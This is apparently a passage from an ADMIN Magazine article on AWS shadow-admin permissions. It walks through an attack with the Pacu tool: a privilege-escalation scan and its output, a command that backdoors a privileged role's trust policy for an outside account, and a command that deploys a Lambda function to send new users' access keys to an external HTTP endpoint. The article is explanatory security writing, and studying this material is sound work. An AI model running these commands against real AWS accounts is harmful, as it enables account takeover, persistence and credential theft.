Shadow admin permissions and your AWS account

Shadow Boxing

Cleopatra's Power

The scans have uncovered that the hacked user was Cleopatra and that the user has two Shadow permissions: CreatePolicyVersion, and SetDefaultPolicyVersion. With the combination of these permissions, an attacker could escalate permissions, and the first step is to escalate privileges to become a full AWS admin of the account.

With Pacu, you can run

run iam__privesc_scan

from the console, which will search for vulnerable permissions and automate the escalation. The full output of the command is shown in Listing 2.

Listing 2

Pacu Escalation

Pacu (personal:Cleopatra) > run iam__privesc_scan
  Running module iam__privesc_scan...
[iam__privesc_scan] Escalation methods for current user:
[iam__privesc_scan]   CONFIRMED: CreateNewPolicyVersion
[iam__privesc_scan]   CONFIRMED: SetExistingDefaultPolicyVersion
[iam__privesc_scan] Attempting confirmed privilege escalation methods...
[iam__privesc_scan]   Starting method CreateNewPolicyVersion...
[iam__privesc_scan]     Is there a specific policy you want to target? Enter its ARN now (just hit enter to automatically figure out a valid policy to target):
[iam__privesc_scan]     No policy ARN entered, now finding a valid policy...
[iam__privesc_scan]       1 valid group-attached policy(ies) found.
[iam__privesc_scan]     Privilege escalation successful using method CreateNewPolicyVersion!
  The current user is now an administrator ("*" permissions on "*" resources).
[iam__privesc_scan] iam__privesc_scan completed.
[iam__privesc_scan] MODULE SUMMARY:
  Privilege escalation was successful

Persistence

Many actions help maintain access to an AWS account, even if the compromised user is removed. Gaining the trust from a privileged role is difficult to detect unless you have the proper defenses in place; then, the attacker can assume a role with a different AWS account.

Suppose the attacker adds a new trust policy into a privileged role that will allow another AWS account to assume it. First, check the report generated from SkyArk, where you can see at least three roles with high privileges. Suppose the roles are Druid , Poet_Role , and Soldier .

From the console, run the command (Figure 3):

run iam__backdoor_assume_role --role-names Soldier --user-arns arn:aws:iam::18xxxx010:root
Figure 3: You can see the trust policy added on the AWS console user interface.

The role name, in this case, is Soldier , and the attacker's account is ARN . The last word, root , at the very end of the command means that the attacker can use any resource (e.g., an IAM user, EC2, Lambda function, or any other resource) from this account to assume the Soldier role.

Cleopatra is now a full administrator and has added a trust policy to a privileged role. Now, the attacker could go even further and have a mechanism to do credentials exfiltration from all newly created users and send them in clear text with HTTP.

Exfiltration

Cleopatra is now a full queen but wants to control everything and rule all soldiers. The next step is to get all access keys from all newly created users on the AWS account. The attacker can create two resources or services: One is a Lambda function and the other is a CloudWatch event. All this will happen in an automated way, so there is no need to create them manually.

The CloudWatch event will listen and wait for an API call named CreateUser. When this happens, a serverless application will trigger the event and run a function to create a new set of access keys into the user and send it, together with its secret, via an HTTP endpoint, which could be a Netcat listener, a website, a security information and event management (SIEM), and so on.

Pacu automates everything and will use a role to create the function and configure the CloudWatch event. You just need to specify the endpoint URL to which you want the secrets sent.

Going back to the report, you know that there is a role named Poet_Role that has administrator access, which would be enough for the Lambda function, CloudWatch creation, and access key generation for IAM users.

With a SIEM (in this case, Sumo Logic) tool, you can receive HTTP events and create an HTTP listener endpoint and a CloudTrail trail on the us-east-1 (North Virginia) region, where the Lambda function will automatically create the malicious trail. This is a requirement if a trail did not exist yet in that region.

From the Pacu console, and using the credentials from Cleopatra , run the command:

run lambda__backdoor_new_users --exfil-url <sumoLogic endpoint url>

The newly created Lambda function is listed in Figure 4.

Figure 4: A new Lambda function created to exfiltrate credentials to the Sumo Logic endpoint.

All you have to do now is wait for the credentials to be sent to the system and use them later, if needed; you can assume that the AWS account has been fully compromised and is under your complete control.

A new user has been created, and, as you can see in the user interface, the new account has two access keys: one default created by AWS on the initial user creation, and the second one created by the Lambda function (Figure 5). Figure 6 shows the new set of credentials on the SIEM.

Figure 5: Two pairs of access keys, one created by the Lambda function.
Figure 6: Sumo Logic search and parsing for the new access keys and secrets from the newly created user.

Buy this article as PDF

Express-Checkout as PDF
Price $2.95
(incl. VAT)

Buy ADMIN Magazine

SINGLE ISSUES
 
SUBSCRIPTIONS
 
TABLET & SMARTPHONE APPS
Get it on Google Play

US / Canada

Get it on Google Play

UK / Australia

Related content

  • Exploiting, detecting, and correcting IAM security misconfigurations
    Three IAM security misconfiguration scenarios are rather common: allowing the creation of a new policy version, the modification of a role trust policy, and the creation of EC2 instances with role passing. We look at ways to avoid and detect IAM security holes.
  • Hands-on Exchange rights management
    Exchange Server 2013 provides a comprehensive, role-based rights management feature. Rights and roles can be managed in the Exchange console, with PowerShell, or with additional tools. We demonstrate all three options.
  • New administration options on Windows Server 2016
    Redmond is set to launch the next-generation Windows Server 2016. Microsoft promises to make administration more secure, which is a good enough reason to take a closer look at the new Privileged Access Management feature.
  • Protect privileged accounts in AD
    Granular protection for highly privileged accounts is granted by the Protected Users group in Active Directory and Kerberos authentication policies.
  • Privileged Identity Management in Azure AD
    Azure Active Directory privileged identity management provides just enough administration for admins to carry out their work, while minimizing the possibility of security breaches through privileged admin accounts.
comments powered by Disqus